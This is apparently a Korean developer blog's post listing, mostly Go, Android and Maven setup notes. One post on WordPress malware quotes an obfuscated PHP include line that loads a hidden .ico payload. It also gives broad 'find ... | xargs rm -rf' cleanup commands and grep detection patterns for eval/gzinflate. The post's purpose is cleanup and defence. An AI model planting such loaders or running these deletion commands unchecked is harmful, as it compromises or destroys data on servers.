All posts by bluebee

131월/22

ubuntu golang

sudo apt-get install golang-go 또는 1. go tarball 다운로드 wget https://dl.google.com/go/go1.17.6.linux-amd64.tar.gz 2. tarball 체크섬 sha256sum go1.17.6.linux-amd64.tar.gz 확인 231654bbf2dab3d86c1619ce799e77b03d96f9b50770297c8f4dff8836fc8ca2 3. 추출 sudo tar -C /usr/local -xvf go1.17.6.linux-amd64.tar.gz 4. path 설정 #~/.profile export GOROOT=/usr/local/go export GOPATH=$HOME/go export GOBIN=$GOPATH/bin export PATH=$GOROOT/bin:$GOBIN:$PATH shell 세션 로드 source ~/.profile 5. 설치 확인 go version 6. workspace는 기본적으로 $HOME/go mkdir ~/go 7. mvc편리하게 revel 설치ㄱㄱ go get github.com/revel/revel go get github.com/revel/cmd/revel go get github.com/bradfitz/gomemcache/memcache go get github.com/garyburd/redigo/redis go get github.com/patrickmn/go-cache 8. 테스트 revel run -a project

175월/21

maven central에 sdk 등록

자꾸 까먹어서 여따 적어두도록 한다. 나의 라이브러리들은 모두 jcenter (bintray)에 올라가 있는 상태이다. 그런데 왠일, jcenter 종료 소식이 들려왔다. 그래서 maven으로 마이그레이션 하라고 권고하고 있다. 이제 더이상 build.gradle에 jcenter는 필요없다. 삭제.. jcenter를 제거해서 기존의 라이브러리에서 오류가 발생한다면 https://search.maven.org 에서 검색해서 적당한 버전과 종류로 변경해주자.   나의 라이브러리를 maven으로 이사한다. github repository는 있을 것이고, jira account를 먼저 생성해주자. https://issues.sonatype.org/ 이곳에서..   그 후 issue를 하나 만들어준다. summary : 대충 라이브러리 제목 써주고 description : 대충 라이브러리 내용.. attachment : 넘어가고 group id : io.github.xxx 형태로 그룹아이디 넣어주고 (더이상 com.github.xxx는 안된다) project url, scm url : 내 github 참고해서 넣어주고 already synced to central : central에 싱크되어있는게 없으니까 no 선택 이렇게 이슈를 만들어 둔다.   그럼 담당자가 소유권 확인차 OSSRH-11111 리파지토리를 깃에 만들라고 한다. 그러면 준비 끝이고, 스튜디오에서 릴리즈 업로드 쌔리면 > gradlew 모듈명:publishReleasePublicationToSonatypeRepository   Central sync is activated for io.github.xxx. After you successfully release, your component will be published to Central https://repo1.maven.org/maven2/, typically within 10 minutes, though updates to https://search.maven.org can take up to two hours. 릴리즈 성공하면 10분후 리파지토리 확인 가능할것이고, 2시간정도 후에는 메이븐 검색도 될거라고 한다. https://repo1.maven.org/maven2/io/github/xxxx/ 내 repository가 만들어진다. https://s01.oss.sonatype.org 로그인해보면 내 리파지토리도 보인다. 만약 안되면 여기서 stop했다가 릴리즈

115월/21

[golang] Buffalo framework for windows

Buffalo framework의 windows 10 설치를 위해서는 NPM, GCC, PYTHON2가 사전에 설치되어 있어야 한다. go는 당연히 설치되어있어야 하고..   1. 우선 NPM은 Node.js를 설치해주면 될일이다. https://nodejs.org/en/download/ LTS 64bit는 설치해준다. 설치 후 > npm install node-sass -g > npm install -g node-gyp > npm install –global windows-build-tools   2. GCC는 https://jmeubank.github.io/tdm-gcc/download/ tdm64-gcc-x.x.x.exe 다운로드 & 설치 MinGW Command Prompt 실행 > go get -u github.com/gobuffalo/buffalo/buffalo   3. PYTHONE2는 https://www.python.org/downloads/release/python-2718/ 설치창에 Add python.exe to Path를 활성화 해주자.   4. 마지막으로 git 설정을 확인해본다. PowerShell > git config –list user.email과 user.name 설정이 안되어있다면 추가해준다. > git config –global user.email “jakeyucosmos@gmail.com” > git config –global user.name “JakeYuCosmos”   5. 이제 buffalo 프로젝트를 생성해본다. > cd $GOPATH/src/github.com/$USER/ > buffalo new testProj   Congratulations! Your application, testProj, has been successfully built! 마지막에 저런 INFO 메세지가 확인되면 프로젝트 생성이 성공한것   그러면 이제 바로 브라우저에서 확인해봐야겠다. > buffalo dev localhost:3000 을 주소창에 입력해서 확인 끝   buffalo dev 는 개발자에게 아주 유용하다. 수정 후 save하는 즉지 rebuild가 되고 웹서버 재시작 필요없이 즉시 결과를 확인할 수 있다. app.go 저장시 바로 Rebuild되고 서버 자동반영

0211월/20

index.php, .2ec67e7e.ico 파일 생성 malware

www-data index.php 파일이나 .2ec67e7e.ico 이런 ico 파일들이 생성된 경우, wordpress plugin 등에서 유입된 멀웨어를 의심해야한다. 워드프레스가 설치된 서버에는 전체적으로 적용되는 사안이다. 귀찬.. 일단 원천봉쇄는 뒤로하고 파일들을 찾아서 제거하자. index.php 의 내용은 이렇다. <?php /*5693b*/ @include “\057ho\155e/.\144d5\0640e\0670.\151co”; /*5693b*/ unphp.net 에서 풀어보면.. ico파일 include하는 형태.. 만든놈 나가 죽었으면.. find -name index.php find -name index.php -exec rm -rf {} \; find -name “*.ico” | egrep ‘.[1-z]{8}.ico’ find -name “*.ico” | egrep ‘.[1-z]{8}.ico’ | xargs rm -rf find -name “*.php” | egrep ‘\.[1-z]{8}.php’ find -name “*.php” | egrep ‘\.[1-z]{8}.php’ | xargs rm -rf find . -type d -name ‘forum’ find . -type d -name ‘forum’ | xargs rm -rf find . -type d -name ‘journal’ find . -type d -name ‘journal’ | xargs rm -rf 이런것들 찾아서 제거해주면 되겠는데 php 파일들은 날리기전에 체크한번씩 해보고.. 엄한거 지우면 골치아프니까 find . -type f -name ‘*.php’ | xargs grep -l ” *=PHP_VERSION *” find . -type f -name ‘*.php’ | xargs grep -l ” *Phar::interceptFileFuncs() *” find . -type f -name ‘*.php’ | xargs grep -l ” *@include *” find . -type f -name ‘*.php’ | xargs grep -l ” *interceptFileFuncs *” find . -type f -name ‘*.php’ | xargs grep -l ” *eval *( *gzinflate *(더보기…

288월/20

[2020.07 (주)페이즈렙] 오늘 뭐먹지? android

– 회사 : (주)페이즈렙 – app url : https://play.google.com/store/apps/details?id=com.phaserep.todayfood – 음식 랜덤 선별 어플리케이션 – 네이티브앱, 웹사이트 개발 및 광고 진행 – 카카오 adfit, google admob외 다수 광고 진행, 종료 다이얼로그 팝업 광고 등 – IDE android studio, kotlin, 서버 ubuntu 18.04, php7, mysql

207월/20

애플 앱스토어 번들아이디(bundle id) 찾기

앱 광고를 진행하는 도중 apple군 앱의 번들아이디가 필요한 경우가 있었다. apple쪽.. 아직 아이폰도 써보지 않아서 뭔가 생소하다. 구글 스토어의 경우 url에 id가 명시되어 있어서 편리하다. https://play.google.com/store/apps/details?id=com.corenet.AppManner 어쨋든 애플의 경우 아직 방법을 모르는건지 bundle id 찾기가 까다롭다. 앱스토어에 접속한다. https://apps.apple.com/kr/app/l-point-%EC%97%98%ED%8F%AC%EC%9D%B8%ED%8A%B8/id473250588 url 마지막 부분 id고유번호를 저장해둔다. 아래 주소로 접근한다. https://itunes.apple.com/lookup?id=고유번호 txt 파일을 다운로드 받고 bundle id를 찾는다. “bundleId”:”com.lottecard.LotteMembers”  

285월/20

php7 마이그레이션 대체

mysql_query(query) => mysqli_query(connection, query) mysql_fetch_assoc => mysqli_fetch_assoc mysql_fetch_array => mysqli_fetch_array mysql_num_rows => mysqli_num_rows mysql_affected_rows() => mysqli_affected_rows(connection) mysql_data_seek => mysqli_data_seek   ereg(pattern, source) => preg_match(/pattern/, source)  

144월/20

JCenter(Bintray) 배포 방법

Android Module을 개발 완료하였다면 배포방안이 필요하다. Bintray에 업로드를 하고 JCenter를 연결하여 해결할 수 있다. 그렇게 되면 아래와같이 dependencies 항목에 추가할 수 있게 된다. dependencies { implementation ‘kr.co.paep:paep-sdk:1.0.1’ } https://bintray.com/ 에 회원가입을 한다. open source로 가입하도록 한다. repository를 하나 생성해준다. 이름을 명시해주고, Type을 Maven 으로 선택하였다. 우측상단의 프로필을 선택하여 Edit Profile에 접속하면 API Key를 얻을 수 있다. 기록해두자. 안드로이드 스튜디오에서 gradle 작업을 진행한다. project build.gradle buildscript { repositories { jcenter() } dependencies { classpath ‘com.jfrog.bintray.gradle:gradle-bintray-plugin:1.+’ classpath ‘com.github.dcendents:android-maven-gradle-plugin:2.1’ } } module build.gradle ext { bintrayRepo = ‘paep’ bintrayName = ‘paep-sdk’ publishedGroupId = ‘kr.co.paep’ libraryName = ‘paep-sdk’ artifact = ‘paep-sdk’ libraryDescription = ‘PAEP adx library’ siteUrl = ‘https://github.com/phaserep/paep-android-sdk’ gitUrl = ‘https://github.com/phaserep/paep-android-sdk.git’ libraryVersion = ‘1.0.1’ developerId = ‘jakeyu’ // Maven plugin uses this. I don’t know if it needs to be anything special. developerName = ‘Jake Yu’ developerEmail = ‘jake@phaserep.com’ licenseName = ‘The MIT License (MIT)’ licenseUrl = ‘https://opensource.org/licenses/MIT’ allLicenses = [“MIT”] } android { } dependencies { } apply plugin: ‘com.github.dcendents.android-maven’ group = publishedGroupId // Maven Group ID for the artifact install { repositories.mavenInstaller { // This generates POM.xml with proper parameters pom { project { packaging ‘aar’ groupId publishedGroupId artifactId artifact // Add your description here name libraryName description libraryDescription url siteUrl더보기…